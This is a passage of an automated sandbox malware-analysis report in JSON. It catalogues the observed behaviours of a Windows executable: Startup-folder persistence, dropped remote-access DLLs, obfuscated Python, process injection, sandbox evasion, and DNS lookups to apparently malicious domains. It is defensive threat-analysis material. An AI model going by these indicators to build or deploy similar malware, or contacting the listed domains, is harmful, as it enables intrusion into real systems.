\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"Found reference to API \"StartServiceCtrlDispatcherA\" (Indicator: \"StartServiceCtrlDispatcher\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"StartServiceCtrlDispatcherA\" (Indicator: \"StartService\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"StartServiceA\" (Indicator: \"StartService\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"$4b","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Contains reference to Windows Startup folder","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-265","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Contains references to file movement (imports API)","description":"Found MoveFileA in import section (Source: PCICL32.DLL)","origin":"Static Parser","mitre_attack_id":"T1083","relevance":1,"id":"static-205","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Creates multiple processes","description":"\"chrome.exe\" created multiple process\n \"WerFault.exe\" created multiple process\n \"msedge.exe\" created multiple process","origin":"Monitored Target","mitre_attack_id":"T1106","relevance":1,"id":"target-719","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$4e","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"$4f","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$50","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"$51","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"\n Pattern match: \"guido@python.org\"\n Pattern match: \"mal@lemburg.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Found User Agent related strings","description":"$52","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134378457133194330.3640.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$53","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"GETs files from a web server (PE files)","description":"$54","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Launches a browser","description":"$55","origin":"Monitored Target","relevance":3,"id":"target-21","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$56","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\6078762b90671c2ff9ba39318e2176d8\\mscorlib.ni.dll\" at EB3F0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"pythonw.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 124D0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 124D0000","origin":"Loaded Module","mitre_attack_id":"T1685","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 76C20000\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 75FC0000\n \"pythonw.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 21640000\n \"pythonw.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 049A0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 21640000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 4BF80000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"pythonw.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at F7630000\n \"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at F7630000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75AC0000\n \"pythonw.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 23B40000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 23B40000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000060a3a121fa7f0000@ntdll.dll\"\n \"220023000000000038a3a121fa7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"$57","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$58","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"$59","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"$5a","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"PE file contains large number of import functions","description":"Observed large number of imported APIs from \"libcrypto-3.dll\" : \"491\" [Source: libssl-3.dll]\n Observed large number of imported APIs from \"KERNEL32.dll\" : \"220\" [Source: PCICL32.DLL]\n Observed large number of imported APIs from \"USER32.dll\" : \"230\" [Source: PCICL32.DLL]\n Observed large number of imported APIs from \"python313.dll\" : \"220\" [Source: pyarmor_runtime.pyd]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-145","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"$5b","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$5c","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x377000\" greater than 0x100000\n Raw size of \".rdata\" is \"0x140400\" greater than 0x100000\n Raw size of \".text\" is \"0x13be00\" greater than 0x100000\n Raw size of \".text\" is \"0x191a00\" greater than 0x100000\n Raw size of \".rsrc\" is \"0x17e600\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x376f14\" greater than 0x100000\n Virtual size of \".rdata\" is \"0x140290\" greater than 0x100000\n Virtual size of \".text\" is \"0x13bd22\" greater than 0x100000\n Virtual size of \".text\" is \"0x19188c\" greater than 0x100000\n Virtual size of \".rsrc\" is \"0x17e418\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"libcrypto-3.dll\" has high imagebase \"0x180000000\"\n \"sqlite3.dll\" has high imagebase \"0x180000000\"\n \"libssl-3.dll\" has high imagebase \"0x180000000\"\n \"vcruntime140.dll\" has high imagebase \"0x180000000\"\n \"python.exe\" has high imagebase \"0x140000000\"\n \"pythonw.exe\" has high imagebase \"0x140000000\"\n \"python3.dll\" has high imagebase \"0x180000000\"\n \"vcruntime140_1.dll\" has high imagebase \"0x180000000\"\n \"unicodedata.pyd\" has high imagebase \"0x180000000\"\n \"pyarmor_runtime.pyd\" has high imagebase \"0x70180000\"\n \"_decimal.pyd\" has high imagebase \"0x180000000\"\n \"pyexpat.pyd\" has high imagebase \"0x180000000\"\n \"_ssl.pyd\" has high imagebase \"0x180000000\"\n \"_lzma.pyd\" has high imagebase \"0x180000000\"\n \"_elementtree.pyd\" has high imagebase \"0x180000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00003580-00000BC0-557526561]\n Observed system executable string:\"%WINDIR%\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00003580-00000C47-10261750416]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"pythonw.exe\" (UID: 00000000-00003580) was launched with new environment variables: \"USERDNSDOMAIN=\"DESKTOP-FVVF82A\", PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"pythonw.exe\" (UID: 00000000-00003580) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS\"\n Process \"powershell.exe\" (UID: 00000000-00003640) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"\n Process \"powershell.exe\" (UID: 00000000-00003640) was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"accounts.google.com\"\n \"clients2.google.com\"\n \"clientservices.googleapis.com\"\n \"safebrowsingohttpgateway.googleapis.com\"\n \"thelkfklef.com\"\n \"twitmerklend.com\"\n \"viigmeeftsgs.com\"\n \"www.google.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$5d","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$5e","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$5f","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$60","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$61","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"msedgewebview.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"remcmdstub.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"pcicapi.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"PCICL32.DLL\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"TCCTL32.DLL\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"HTCTL32.DLL\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\test2\\NSM.LIC\"\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\test2\\pcicapi.dll\"\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\test2\\PCICHEK.DLL\"\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\test2\\PCICL32.DLL\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Installation/Persistence","name":"Able to establish persistence using Exchange transport agent (.NET)","description":"Found string \"ystem.IsAttachment\" (Source: \"00000000-00002512.00000001.111136.03420000.00000002.mdmp\")\n Found string \"ystem.Message.AttachmentContents\" (Source: \"00000000-00002512.00000001.111136.03420000.00000002.mdmp\")\n Found string \"ystem.Message.AttachmentNames\" (Source: \"00000000-00002512.00000001.111136.03420000.00000002.mdmp\")\n Found string \"ystem.Message.HasAttachments\" (Source: \"00000000-00002512.00000001.111136.03420000.00000002.mdmp\")\n Found string \"System.IsAttachment\" (Source: \"00000000-00002512.00000001.111136.04E70000.00000002.mdmp\")\n Found string \"System.Message.AttachmentContents\" (Source: \"00000000-00002512.00000001.111136.04E70000.00000002.mdmp\")\n Found string \"System.Message.AttachmentNames\" (Source: \"00000000-00002512.00000001.111136.04E70000.00000002.mdmp\")\n Found string \"System.Message.HasAttachments\" (Source: \"00000000-00002512.00000001.111136.04E70000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1505.002","relevance":1,"id":"string-938","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create a service (API string)","description":"Found reference to API \"RegisterServiceCtrlHandlerA\" (Indicator: \"RegisterServiceCtrlHandler\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-199","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to schedule tasks using COM objects","description":"Observed string: \"REGISTRY\\USER\\S-1-5-21-735145574-3570218355-1207367261-1001_Classes\\WOW6432Node\\CLSID\\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\\LocalServer\" (Indicator: \"clsid\\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\") in Source: 00000000-00002512.00000001.111136.03130000.00000004.mdmp\n Observed string: \"REGISTRY\\USER\\S-1-5-21-735145574-3570218355-1207367261-1001_Classes\\WOW6432Node\\CLSID\\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\\Elevation\" (Indicator: \"clsid\\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\") in Source: 00000000-00002512.00000001.111136.03130000.00000004.mdmp\n Observed string: \"735145574-3570218355-1207367261-1001_Classes\\WOW6432Node\\CLSID\\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\\ProgID\" (Indicator: \"clsid\\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\") in Source: 00000000-00002512.00000001.111136.03130000.00000004.mdmp\n Observed string: \"CLSID\\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\" (Indicator: \"clsid\\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\") in Source: 00000000-00002512.00000001.111136.03130000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1053.005","relevance":3,"id":"string-400","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates file(s) in System32 or SysWOW64 directory","description":"\"powershell.exe\" create file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" create file \"C:\\Windows\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1036.005","relevance":5,"id":"api-324","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$62","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops a Windows setup information (INF) file","description":"\"nskbfltr.inf\" has type \"ASCII text with CRLF line terminators\"","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-55","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops a license file","description":"\"LICENSE.txt\" has type \"ASCII text with CRLF LF line terminators\"- Location: [%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\LICENSE.txt]- [targetUID: 00000000-00002512]","origin":"Binary File","mitre_attack_id":"T1083","relevance":1,"id":"binary-50","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$63","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Installation/Persistence","name":"Potential hijacking of DLL execution flow detected","description":"$64","origin":"Binary File","mitre_attack_id":"T1574.001","relevance":5,"id":"binary-91","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" queries basic process information of the \"C:\\a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" (UID: 2512)\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" queries basic process information of the \"C:\\ProgramData\\NexusSoftware\\felix1\\pythonw.exe\" (UID: 2512)\n \"pythonw.exe\" queries basic process information of the \"C:\\ProgramData\\NexusSoftware\\felix1\\pythonw.exe\" (UID: 3580)\n \"pythonw.exe\" queries basic process information of the \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 3580)\n \"powershell.exe\" queries basic process information of the \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 3640)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$65","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" called \"NtQueueApcThread\" (UID: 00000000-00002512)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" reads file \"\\device\\namedpipe\\srvsvc\"\n \"pythonw.exe\" reads file \"c:\\programdata\\nexussoftware\\felix1\\python313._pth\"\n \"pythonw.exe\" reads file \"c:\\programdata\\nexussoftware\\felix1\\python313.zip\"\n \"pythonw.exe\" reads file \"c:\\programdata\\nexussoftware\\felix1\\main.py\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Triggers a burst of requests to the same API (API Hammering)\n Matched sigs: Contains ability to detect sandbox (imports API)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$66","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\pythonw.exe.lnk\"\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" touched file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\pythonw.exe.lnk\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access LNK files (Windows shortcut)","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" trying to access LNK file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\pythonw.exe.lnk\"\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" trying to access LNK file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\pythonw.exe.lnk\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-203","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\profile.ps1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1\"\n 